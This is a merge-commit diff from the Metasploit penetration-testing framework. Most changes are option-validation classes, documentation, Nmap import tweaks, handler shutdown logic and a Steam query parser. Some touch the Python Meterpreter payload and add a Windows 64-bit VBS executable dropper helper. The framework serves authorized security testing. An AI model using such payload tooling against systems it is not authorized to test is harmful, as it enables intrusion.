Merge branch 'upstream/master' into connection-recovery
commit
86957d9b07
|
@ -177,7 +177,7 @@ GEM
|
|||
json (~> 1.4)
|
||||
recog (1.0.27)
|
||||
nokogiri
|
||||
redcarpet (3.1.2)
|
||||
redcarpet (3.2.3)
|
||||
rkelly-remix (0.0.6)
|
||||
robots (0.10.1)
|
||||
rspec (2.99.0)
|
||||
|
|
|
@ -749,7 +749,7 @@ class PythonMeterpreter(object):
|
|||
resp = struct.pack('>I', len(resp) + 4) + resp
|
||||
return resp
|
||||
|
||||
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
||||
if not hasattr(os, 'fork') or has_osxsc or (hasattr(os, 'fork') and os.fork() == 0):
|
||||
if hasattr(os, 'setsid'):
|
||||
try:
|
||||
os.setsid()
|
||||
|
|
|
@ -224,7 +224,7 @@ module Metasploit
|
|||
configure_http_client(cli)
|
||||
|
||||
if realm
|
||||
cli.set_config('domain' => credential.realm)
|
||||
cli.set_config('domain' => realm)
|
||||
end
|
||||
|
||||
begin
|
||||
|
|
|
@ -164,9 +164,7 @@ module Msf::DBManager::Import::Nmap
|
|||
data[:host] = hobj || addr
|
||||
data[:info] = extra if not extra.empty?
|
||||
data[:task] = args[:task]
|
||||
if p["name"] != "unknown"
|
||||
data[:name] = p["name"]
|
||||
end
|
||||
data[:name] = p['tunnel'] ? "#{p['tunnel']}/#{p['name'] || 'unknown'}" : p['name']
|
||||
report_service(data)
|
||||
}
|
||||
#Parse the scripts output
|
||||
|
|
|
@ -1218,10 +1218,31 @@ class Exploit < Msf::Module
|
|||
# Failure tracking
|
||||
##
|
||||
|
||||
# Raises a Msf::Exploit::Failed exception. It overrides the fail_with method
|
||||
# in lib/msf/core/module.rb
|
||||
#
|
||||
# @param reason [String] A constant from Msf::Module::Failure.
|
||||
# If the reason does not come from there, then it will default to
|
||||
# Msf::Module::Failure::Unknown.
|
||||
# @param msg [String] (Optional) A message about the failure.
|
||||
# @raise [Msf::Exploit::Failed] A custom Msf::Exploit::Failed exception.
|
||||
# @return [void]
|
||||
# @see Msf::Module::Failure
|
||||
# @see Msf::Module#fail_with
|
||||
# @example
|
||||
# fail_with(Msf::Module::Failure::NoAccess, 'Unable to login to upload payload')
|
||||
def fail_with(reason,msg=nil)
|
||||
self.fail_reason = reason
|
||||
# The reason being registered here will be used later on, so it's important we don't actually
|
||||
# provide a made-up one.
|
||||
allowed_values = Msf::Module::Failure.constants.collect {|e| Msf::Module::Failure.const_get(e)}
|
||||
if allowed_values.include?(reason)
|
||||
self.fail_reason = reason
|
||||
else
|
||||
self.fail_reason = Msf::Module::Failure::Unknown
|
||||
end
|
||||
|
||||
self.fail_detail = msg
|
||||
raise Msf::Exploit::Failed, (msg || "No reason given")
|
||||
raise Msf::Exploit::Failed, (msg || "No failure message given")
|
||||
end
|
||||
|
||||
def report_failure
|
||||
|
|
|
@ -163,7 +163,9 @@ module ReverseHttp
|
|||
def stop_handler
|
||||
if self.service
|
||||
self.service.remove_resource("/")
|
||||
Rex::ServiceManager.stop_service(self.service) if self.sessions == 0
|
||||
if self.service.resources.empty? && self.sessions == 0
|
||||
Rex::ServiceManager.stop_service(self.service)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -3,6 +3,8 @@ require 'msf/core'
|
|||
|
||||
module Msf
|
||||
|
||||
autoload :OptionContainer, 'msf/core/option_container'
|
||||
|
||||
###
|
||||
#
|
||||
# The module base class is responsible for providing the common interface
|
||||
|
@ -276,7 +278,18 @@ class Module
|
|||
end
|
||||
|
||||
#
|
||||
# Support fail_with for all module types, allow specific classes to override
|
||||
# Raises a RuntimeError failure message. This is meant to be used for all non-exploits,
|
||||
# and allows specific classes to override.
|
||||
#
|
||||
# @param reason [String] A reason about the failure.
|
||||
# @param msg [String] (Optional) A message about the failure.
|
||||
# @raise [RuntimeError]
|
||||
# @return [void]
|
||||
# @note If you are writing an exploit, you don't use this API. Instead, please refer to the
|
||||
# API documentation from lib/msf/core/exploit.rb.
|
||||
# @see Msf::Exploit#fail_with
|
||||
# @example
|
||||
# fail_with('No Access', 'Unable to login')
|
||||
#
|
||||
def fail_with(reason, msg=nil)
|
||||
raise RuntimeError, "#{reason.to_s}: #{msg}"
|
||||
|
|
|
@ -0,0 +1,74 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
#
|
||||
# Builtin framework options with shortcut methods
|
||||
#
|
||||
# @example
|
||||
# register_options(
|
||||
# [
|
||||
# Opt::RHOST,
|
||||
# Opt::RPORT(21),
|
||||
# ]
|
||||
# )
|
||||
# register_advanced_options([Opt::Proxies])
|
||||
#
|
||||
module Opt
|
||||
|
||||
# @return [OptAddress]
|
||||
def self.CHOST(default=nil, required=false, desc="The local client address")
|
||||
Msf::OptAddress.new(__method__.to_s, [ required, desc, default ])
|
||||
end
|
||||
|
||||
# @return [OptPort]
|
||||
def self.CPORT(default=nil, required=false, desc="The local client port")
|
||||
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
|
||||
end
|
||||
|
||||
# @return [OptAddress]
|
||||
def self.LHOST(default=nil, required=true, desc="The listen address")
|
||||
Msf::OptAddress.new(__method__.to_s, [ required, desc, default ])
|
||||
end
|
||||
|
||||
# @return [OptPort]
|
||||
def self.LPORT(default=nil, required=true, desc="The listen port")
|
||||
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
|
||||
end
|
||||
|
||||
# @return [OptString]
|
||||
def self.Proxies(default=nil, required=false, desc="A proxy chain of format type:host:port[,type:host:port][...]")
|
||||
Msf::OptString.new(__method__.to_s, [ required, desc, default ])
|
||||
end
|
||||
|
||||
# @return [OptAddress]
|
||||
def self.RHOST(default=nil, required=true, desc="The target address")
|
||||
Msf::OptAddress.new(__method__.to_s, [ required, desc, default ])
|
||||
end
|
||||
|
||||
# @return [OptPort]
|
||||
def self.RPORT(default=nil, required=true, desc="The target port")
|
||||
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
|
||||
end
|
||||
|
||||
# These are unused but remain for historical reasons
|
||||
class << self
|
||||
alias builtin_chost CHOST
|
||||
alias builtin_cport CPORT
|
||||
alias builtin_lhost LHOST
|
||||
alias builtin_lport LPORT
|
||||
alias builtin_proxies Proxies
|
||||
alias builtin_rhost RHOST
|
||||
alias builtin_rport RPORT
|
||||
end
|
||||
|
||||
CHOST = CHOST()
|
||||
CPORT = CPORT()
|
||||
LHOST = LHOST()
|
||||
LPORT = LPORT()
|
||||
Proxies = Proxies()
|
||||
RHOST = RHOST()
|
||||
RPORT = RPORT()
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,37 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Network address option.
|
||||
#
|
||||
###
|
||||
class OptAddress < OptBase
|
||||
def type
|
||||
return 'address'
|
||||
end
|
||||
|
||||
def valid?(value)
|
||||
return false if empty_required_value?(value)
|
||||
return false unless value.kind_of?(String) or value.kind_of?(NilClass)
|
||||
|
||||
if (value != nil and value.empty? == false)
|
||||
begin
|
||||
getaddr_result = ::Rex::Socket.getaddress(value, true)
|
||||
# Covers a wierdcase where an incomplete ipv4 address will have it's
|
||||
# missing octets filled in with 0's. (e.g 192.168 become 192.0.0.168)
|
||||
# which does not feel like a legit behaviour
|
||||
if value =~ /^\d{1,3}(\.\d{1,3}){1,3}$/
|
||||
return false unless value =~ Rex::Socket::MATCH_IPV4
|
||||
end
|
||||
rescue
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
return super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,51 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Network address range option.
|
||||
#
|
||||
###
|
||||
class OptAddressRange < OptBase
|
||||
def type
|
||||
return 'addressrange'
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
return nil unless value.kind_of?(String)
|
||||
if (value =~ /^file:(.*)/)
|
||||
path = $1
|
||||
return false if not File.exists?(path) or File.directory?(path)
|
||||
return File.readlines(path).map{ |s| s.strip}.join(" ")
|
||||
elsif (value =~ /^rand:(.*)/)
|
||||
count = $1.to_i
|
||||
return false if count < 1
|
||||
ret = ''
|
||||
count.times {
|
||||
ret << " " if not ret.empty?
|
||||
ret << [ rand(0x100000000) ].pack("N").unpack("C*").map{|x| x.to_s }.join(".")
|
||||
}
|
||||
return ret
|
||||
end
|
||||
return value
|
||||
end
|
||||
|
||||
def valid?(value)
|
||||
return false if empty_required_value?(value)
|
||||
return false unless value.kind_of?(String) or value.kind_of?(NilClass)
|
||||
|
||||
if (value != nil and value.empty? == false)
|
||||
normalized = normalize(value)
|
||||
return false if normalized.nil?
|
||||
walker = Rex::Socket::RangeWalker.new(normalized)
|
||||
if (not walker or not walker.valid?)
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
return super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,166 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'resolv'
|
||||
require 'msf/core'
|
||||
require 'rex/socket'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# The base class for all options.
|
||||
#
|
||||
###
|
||||
class OptBase
|
||||
|
||||
#
|
||||
# Initializes a named option with the supplied attribute array.
|
||||
# The array is composed of three values.
|
||||
#
|
||||
# attrs[0] = required (boolean type)
|
||||
# attrs[1] = description (string)
|
||||
# attrs[2] = default value
|
||||
# attrs[3] = possible enum values
|
||||
# attrs[4] = Regex to validate the option
|
||||
#
|
||||
def initialize(in_name, attrs = [])
|
||||
self.name = in_name
|
||||
self.advanced = false
|
||||
self.evasion = false
|
||||
self.required = attrs[0] || false
|
||||
self.desc = attrs[1]
|
||||
self.default = attrs[2]
|
||||
self.enums = [ *(attrs[3]) ].map { |x| x.to_s }
|
||||
regex_temp = attrs[4] || nil
|
||||
if regex_temp
|
||||
# convert to string
|
||||
regex_temp = regex_temp.to_s if regex_temp.is_a? Regexp
|
||||
# remove start and end character, they will be added later
|
||||
regex_temp = regex_temp.sub(/^\^/, '').sub(/\$$/, '')
|
||||
# Add start and end marker to match the whole regex
|
||||
regex_temp = "^#{regex_temp}$"
|
||||
begin
|
||||
Regexp.compile(regex_temp)
|
||||
self.regex = regex_temp
|
||||
rescue RegexpError, TypeError => e
|
||||
raise("Invalid Regex #{regex_temp}: #{e}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this is a required option.
|
||||
#
|
||||
def required?
|
||||
return required
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this is an advanced option.
|
||||
#
|
||||
def advanced?
|
||||
return advanced
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this is an evasion option.
|
||||
#
|
||||
def evasion?
|
||||
return evasion
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the supplied type is equivalent to this option's type.
|
||||
#
|
||||
def type?(in_type)
|
||||
return (type == in_type)
|
||||
end
|
||||
|
||||
#
|
||||
# If it's required and the value is nil or empty, then it's not valid.
|
||||
#
|
||||
def valid?(value)
|
||||
if required?
|
||||
# required variable not set
|
||||
return false if (value == nil or value.to_s.empty?)
|
||||
end
|
||||
if regex
|
||||
if value.match(regex)
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the value supplied is nil and it's required to be
|
||||
# a valid value
|
||||
#
|
||||
def empty_required_value?(value)
|
||||
return (required? and value.nil?)
|
||||
end
|
||||
|
||||
#
|
||||
# Normalizes the supplied value to conform with the type that the option is
|
||||
# conveying.
|
||||
#
|
||||
def normalize(value)
|
||||
value
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a string representing a user-friendly display of the chosen value
|
||||
#
|
||||
def display_value(value)
|
||||
value.to_s
|
||||
end
|
||||
|
||||
#
|
||||
# The name of the option.
|
||||
#
|
||||
attr_reader :name
|
||||
#
|
||||
# Whether or not the option is required.
|
||||
#
|
||||
attr_reader :required
|
||||
#
|
||||
# The description of the option.
|
||||
#
|
||||
attr_reader :desc
|
||||
#
|
||||
# The default value of the option.
|
||||
#
|
||||
attr_reader :default
|
||||
#
|
||||
# Storing the name of the option.
|
||||
#
|
||||
attr_writer :name
|
||||
#
|
||||
# Whether or not this is an advanced option.
|
||||
#
|
||||
attr_accessor :advanced
|
||||
#
|
||||
# Whether or not this is an evasion option.
|
||||
#
|
||||
attr_accessor :evasion
|
||||
#
|
||||
# The module or entity that owns this option.
|
||||
#
|
||||
attr_accessor :owner
|
||||
#
|
||||
# The list of potential valid values
|
||||
#
|
||||
attr_accessor :enums
|
||||
#
|
||||
# A optional regex to validate the option value
|
||||
#
|
||||
attr_accessor :regex
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :required, :desc, :default # :nodoc:
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,48 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Boolean option.
|
||||
#
|
||||
###
|
||||
class OptBool < OptBase
|
||||
|
||||
TrueRegex = /^(y|yes|t|1|true)$/i
|
||||
|
||||
def type
|
||||
return 'bool'
|
||||
end
|
||||
|
||||
def valid?(value)
|
||||
return false if empty_required_value?(value)
|
||||
|
||||
if ((value != nil and
|
||||
(value.to_s.empty? == false) and
|
||||
(value.to_s.match(/^(y|yes|n|no|t|f|0|1|true|false)$/i) == nil)))
|
||||
return false
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
if(value.nil? or value.to_s.match(TrueRegex).nil?)
|
||||
false
|
||||
else
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
def is_true?(value)
|
||||
return normalize(value)
|
||||
end
|
||||
|
||||
def is_false?(value)
|
||||
return !is_true?(value)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,48 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Enum option.
|
||||
#
|
||||
###
|
||||
class OptEnum < OptBase
|
||||
|
||||
def type
|
||||
return 'enum'
|
||||
end
|
||||
|
||||
def valid?(value=self.value)
|
||||
return false if empty_required_value?(value)
|
||||
return true if value.nil? and !required?
|
||||
|
||||
(value and self.enums.include?(value.to_s))
|
||||
end
|
||||
|
||||
def normalize(value=self.value)
|
||||
return nil if not self.valid?(value)
|
||||
return value.to_s
|
||||
end
|
||||
|
||||
def desc=(value)
|
||||
self.desc_string = value
|
||||
|
||||
self.desc
|
||||
end
|
||||
|
||||
def desc
|
||||
if self.enums
|
||||
str = self.enums.join(', ')
|
||||
end
|
||||
"#{self.desc_string || ''} (accepted: #{str})"
|
||||
end
|
||||
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :desc_string # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,35 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Integer option.
|
||||
#
|
||||
###
|
||||
class OptInt < OptBase
|
||||
def type
|
||||
return 'integer'
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
if (value.to_s.match(/^0x[a-fA-F\d]+$/))
|
||||
value.to_i(16)
|
||||
else
|
||||
value.to_i
|
||||
end
|
||||
end
|
||||
|
||||
def valid?(value)
|
||||
return super if !required? and value.to_s.empty?
|
||||
return false if empty_required_value?(value)
|
||||
|
||||
if value and not value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/)
|
||||
return false
|
||||
end
|
||||
|
||||
return super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,44 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# File system path option.
|
||||
#
|
||||
###
|
||||
class OptPath < OptBase
|
||||
def type
|
||||
return 'path'
|
||||
end
|
||||
|
||||
# Generally, 'value' should be a file that exists.
|
||||
def valid?(value)
|
||||
return false if empty_required_value?(value)
|
||||
if value and !value.empty?
|
||||
if value =~ /^memory:\s*([0-9]+)/i
|
||||
return false unless check_memory_location($1)
|
||||
else
|
||||
unless File.exists?(value)
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
return super
|
||||
end
|
||||
|
||||
# The AuthBrute mixin can take a memory address as well --
|
||||
# currently, no other OptFile can make use of these objects.
|
||||
# TODO: Implement memory:xxx to be more generally useful so
|
||||
# the validator on OptFile isn't lying for non-AuthBrute.
|
||||
def check_memory_location(id)
|
||||
return false unless self.class.const_defined?(:ObjectSpace)
|
||||
obj = ObjectSpace._id2ref(id.to_i) rescue nil
|
||||
return false unless obj.respond_to? :acts_as_file?
|
||||
return false unless obj.acts_as_file? # redundant?
|
||||
return !!obj
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,31 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Network port option.
|
||||
#
|
||||
###
|
||||
class OptPort < OptBase
|
||||
def type
|
||||
return 'port'
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
value.to_i
|
||||
end
|
||||
|
||||
def valid?(value)
|
||||
return false if empty_required_value?(value)
|
||||
|
||||
if ((value != nil and value.to_s.empty? == false) and
|
||||
((value.to_s.match(/^\d+$/) == nil or value.to_i < 0 or value.to_i > 65535)))
|
||||
return false
|
||||
end
|
||||
|
||||
return super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,34 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Raw, arbitrary data option.
|
||||
#
|
||||
###
|
||||
class OptRaw < OptBase
|
||||
def type
|
||||
return 'raw'
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
if (value =~ /^file:(.*)/)
|
||||
path = $1
|
||||
begin
|
||||
value = File.read(path)
|
||||
rescue ::Errno::ENOENT, ::Errno::EISDIR
|
||||
value = nil
|
||||
end
|
||||
end
|
||||
value
|
||||
end
|
||||
|
||||
def valid?(value=self.value)
|
||||
value = normalize(value)
|
||||
return false if empty_required_value?(value)
|
||||
return super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,46 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Regexp option
|
||||
#
|
||||
###
|
||||
class OptRegexp < OptBase
|
||||
def type
|
||||
return 'regexp'
|
||||
end
|
||||
|
||||
def valid?(value)
|
||||
unless super
|
||||
return false
|
||||
end
|
||||
return true if (not required? and value.nil?)
|
||||
|
||||
begin
|
||||
Regexp.compile(value)
|
||||
|
||||
return true
|
||||
rescue RegexpError, TypeError
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
return nil if value.nil?
|
||||
return Regexp.compile(value)
|
||||
end
|
||||
|
||||
def display_value(value)
|
||||
if value.kind_of?(Regexp)
|
||||
return value.source
|
||||
elsif value.kind_of?(String)
|
||||
return display_value(normalize(value))
|
||||
end
|
||||
|
||||
return super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,34 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Mult-byte character string option.
|
||||
#
|
||||
###
|
||||
class OptString < OptBase
|
||||
def type
|
||||
return 'string'
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
if (value =~ /^file:(.*)/)
|
||||
path = $1
|
||||
begin
|
||||
value = File.read(path)
|
||||
rescue ::Errno::ENOENT, ::Errno::EISDIR
|
||||
value = nil
|
||||
end
|
||||
end
|
||||
value
|
||||
end
|
||||
|
||||
def valid?(value=self.value)
|
||||
value = normalize(value)
|
||||
return false if empty_required_value?(value)
|
||||
return super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
File diff suppressed because it is too large
Load Diff
|
@ -86,13 +86,13 @@ class Msf::Payload::UUID
|
|||
#
|
||||
# Generate a raw 16-byte payload UUID given a seed, platform, architecture, and timestamp
|
||||
#
|
||||
# @options opts [String] :seed An optional string to use for generated the unique payload ID, deterministic
|
||||
# @options opts [String] :puid An optional 8-byte string to use as the unique payload ID
|
||||
# @options opts [String] :arch The hardware architecture for this payload
|
||||
# @options opts [String] :platform The operating system platform for this payload
|
||||
# @options opts [String] :timestamp The timestamp in UTC Unix epoch format
|
||||
# @options opts [Fixnum] :xor1 An optional 8-bit XOR ID for obfuscation
|
||||
# @options opts [Fixnum] :xor2 An optional 8-bit XOR ID for obfuscation
|
||||
# @option opts [String] :seed An optional string to use for generated the unique payload ID, deterministic
|
||||
# @option opts [String] :puid An optional 8-byte string to use as the unique payload ID
|
||||
# @option opts [String] :arch The hardware architecture for this payload
|
||||
# @option opts [String] :platform The operating system platform for this payload
|
||||
# @option opts [String] :timestamp The timestamp in UTC Unix epoch format
|
||||
# @option opts [Fixnum] :xor1 An optional 8-bit XOR ID for obfuscation
|
||||
# @option opts [Fixnum] :xor2 An optional 8-bit XOR ID for obfuscation
|
||||
# @return [String] The encoded payoad UUID as a binary string
|
||||
#
|
||||
def self.generate_raw(opts={})
|
||||
|
|
|
@ -144,8 +144,10 @@ module Msf
|
|||
if arch.blank?
|
||||
@arch = mod.arch.first
|
||||
cli_print "No Arch selected, selecting Arch: #{arch} from the payload"
|
||||
datastore['ARCH'] = arch if mod.kind_of?(Msf::Payload::Generic)
|
||||
return mod.arch.first
|
||||
elsif mod.arch.include? arch
|
||||
datastore['ARCH'] = arch if mod.kind_of?(Msf::Payload::Generic)
|
||||
return arch
|
||||
else
|
||||
return nil
|
||||
|
@ -157,7 +159,10 @@ module Msf
|
|||
# @param mod [Msf::Payload] The module class to choose a platform for
|
||||
# @return [Msf::Module::PlatformList] The selected platform list
|
||||
def choose_platform(mod)
|
||||
# By default, platform_list will at least return Msf::Module::Platform
|
||||
# if there is absolutely no pre-configured platform info at all
|
||||
chosen_platform = platform_list
|
||||
|
||||
if chosen_platform.platforms.empty?
|
||||
chosen_platform = mod.platform
|
||||
cli_print "No platform was selected, choosing #{chosen_platform.platforms.first} from the payload"
|
||||
|
@ -165,6 +170,17 @@ module Msf
|
|||
elsif (chosen_platform & mod.platform).empty?
|
||||
chosen_platform = Msf::Module::PlatformList.new
|
||||
end
|
||||
|
||||
begin
|
||||
platform_object = Msf::Module::Platform.find_platform(platform)
|
||||
rescue ArgumentError
|
||||
platform_object = nil
|
||||
end
|
||||
|
||||
if mod.kind_of?(Msf::Payload::Generic) && mod.send(:module_info)['Platform'].empty? && platform_object
|
||||
datastore['PLATFORM'] = platform
|
||||
end
|
||||
|
||||
chosen_platform
|
||||
end
|
||||
|
||||
|
|
|
@ -41,8 +41,7 @@ module Msf
|
|||
# Builds an an array of arguments o build a call to
|
||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @param name [String] the MBean name
|
||||
# @return [Array]
|
||||
def build_jmx_get_object_instance_args(name = '')
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
@ -97,8 +96,7 @@ module Msf
|
|||
# Builds an an array of arguments o build a call to
|
||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @param name [Hash] the MBean name
|
||||
# @return [Array]
|
||||
def build_jmx_create_mbean_args(name = '')
|
||||
arguments = [
|
||||
|
|
|
@ -22,7 +22,6 @@ module Msf
|
|||
# Calculates an interface hash to make RMI calls as defined by the JDK 1.1
|
||||
#
|
||||
# @param methods [Array] set of method names and their descriptors
|
||||
# @param exceptions [Array] set of declared exceptions
|
||||
# @return [Fixnum] The interface hash
|
||||
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how interface hashes are calculated
|
||||
def calculate_interface_hash(methods)
|
||||
|
|
|
@ -1121,6 +1121,10 @@ require 'msf/core/exe/segment_appender'
|
|||
to_exe_vbs(to_win32pe(framework, code, opts), opts)
|
||||
end
|
||||
|
||||
def self.to_win64pe_vbs(framework, code, opts = {})
|
||||
to_exe_vbs(to_win64pe(framework, code, opts), opts)
|
||||
end
|
||||
|
||||
# Creates a jar file that drops the provided +exe+ into a random file name
|
||||
# in the system's temp dir and executes it.
|
||||
#
|
||||
|
|
|
@ -277,6 +277,8 @@ module Rex
|
|||
port_hash[:state] = determine_port_state(v)
|
||||
when "name"
|
||||
port_hash[:name] = v
|
||||
when "tunnel"
|
||||
port_hash[:name] = "#{v}/#{port_hash[:name] || 'unknown'}"
|
||||
when "reason"
|
||||
port_hash[:reason] = v
|
||||
when "product"
|
||||
|
|
|
@ -79,7 +79,12 @@ module PacketDispatcher
|
|||
|
||||
def shutdown_passive_dispatcher
|
||||
return if not self.passive_service
|
||||
self.passive_service.remove_resource("/" + self.conn_id + "/")
|
||||
self.passive_service.remove_resource(self.conn_id + "/")
|
||||
|
||||
# If there are no more resources registered on the service, stop it entirely
|
||||
if self.passive_service.resources.empty?
|
||||
Rex::ServiceManager.stop_service(self.passive_service)
|
||||
end
|
||||
|
||||
self.alive = false
|
||||
self.send_queue = []
|
||||
|
|
|
@ -0,0 +1,3 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/proto/steam/message'
|
|
@ -0,0 +1,125 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
##
|
||||
#
|
||||
# Steam protocol support, taken from https://developer.valvesoftware.com/wiki/Server_queries
|
||||
#
|
||||
##
|
||||
module Steam
|
||||
# The Steam header ussed when the message is fragmented.
|
||||
FRAGMENTED_HEADER = 0xFFFFFFFE
|
||||
# The Steam header ussed when the message is not fragmented.
|
||||
UNFRAGMENTED_HEADER = 0xFFFFFFFF
|
||||
|
||||
# Decodes a Steam response message.
|
||||
#
|
||||
# @param message [String] the message to decode
|
||||
# @return [Array] the message type and body
|
||||
def decode_message(message)
|
||||
# minimum size is header (4) + type (1)
|
||||
return if message.length < 5
|
||||
header, type = message.unpack('NC')
|
||||
# TODO: handle fragmented responses
|
||||
return if header != UNFRAGMENTED_HEADER
|
||||
[type, message[5, message.length]]
|
||||
end
|
||||
|
||||
# Encodes a Steam message.
|
||||
#
|
||||
# @param type [String, Fixnum] the message type
|
||||
# @param body [String] the message body
|
||||
# @return [String] the encoded Steam message
|
||||
def encode_message(type, body)
|
||||
if type.is_a? Fixnum
|
||||
type_num = type
|
||||
elsif type.is_a? String
|
||||
type_num = type.ord
|
||||
else
|
||||
fail ArgumentError, 'type must be a String or Fixnum'
|
||||
end
|
||||
|
||||
[UNFRAGMENTED_HEADER, type_num ].pack('NC') + body
|
||||
end
|
||||
|
||||
# Builds an A2S_INFO message
|
||||
#
|
||||
# @return [String] the A2S_INFO message
|
||||
def a2s_info
|
||||
encode_message('T', "Source Engine Query\x00")
|
||||
end
|
||||
|
||||
# Decodes an A2S_INFO response message
|
||||
#
|
||||
# @parameter response [String] the A2S_INFO resposne to decode
|
||||
# @return [Hash] the fields extracted from the response
|
||||
def a2s_info_decode(response)
|
||||
# abort if it is impossibly short
|
||||
return nil if response.length < 19
|
||||
message_type, body = decode_message(response)
|
||||
# abort if it isn't a valid Steam response
|
||||
return nil if message_type != 0x49 # 'I'
|
||||
info = {}
|
||||
info[:version], info[:name], info[:map], info[:folder], info[:game_name],
|
||||
info[:game_id], players, players_max, info[:bots],
|
||||
type, env, vis, vac, info[:game_version], _edf = body.unpack("CZ*Z*Z*Z*SCCCCCCCZ*C")
|
||||
|
||||
# translate type
|
||||
case type
|
||||
when 100 # d
|
||||
server_type = 'Dedicated'
|
||||
when 108 # l
|
||||
server_type = 'Non-dedicated'
|
||||
when 112 # p
|
||||
server_type = 'SourceTV relay (proxy)'
|
||||
else
|
||||
server_type = "Unknown (#{type})"
|
||||
end
|
||||
info[:type] = server_type
|
||||
|
||||
# translate environment
|
||||
case env
|
||||
when 108 # l
|
||||
server_env = 'Linux'
|
||||
when 119 # w
|
||||
server_env = 'Windows'
|
||||
when 109 # m
|
||||
when 111 # o
|
||||
server_env = 'Mac'
|
||||
else
|
||||
server_env = "Unknown (#{env})"
|
||||
end
|
||||
info[:environment] = server_env
|
||||
|
||||
# translate visibility
|
||||
case vis
|
||||
when 0
|
||||
server_vis = 'public'
|
||||
when 1
|
||||
server_vis = 'private'
|
||||
else
|
||||
server_vis = "Unknown (#{vis})"
|
||||
end
|
||||
info[:visibility] = server_vis
|
||||
|
||||
# translate VAC
|
||||
case vac
|
||||
when 0
|
||||
server_vac = 'unsecured'
|
||||
when 1
|
||||
server_vac = 'secured'
|
||||
else
|
||||
server_vac = "Unknown (#{vac})"
|
||||
end
|
||||
info[:VAC] = server_vac
|
||||
|
||||
# format players/max
|
||||
info[:players] = "#{players}/#{players_max}"
|
||||
|
||||
# TODO: parse EDF
|
||||
info
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,183 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/jsobfu'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
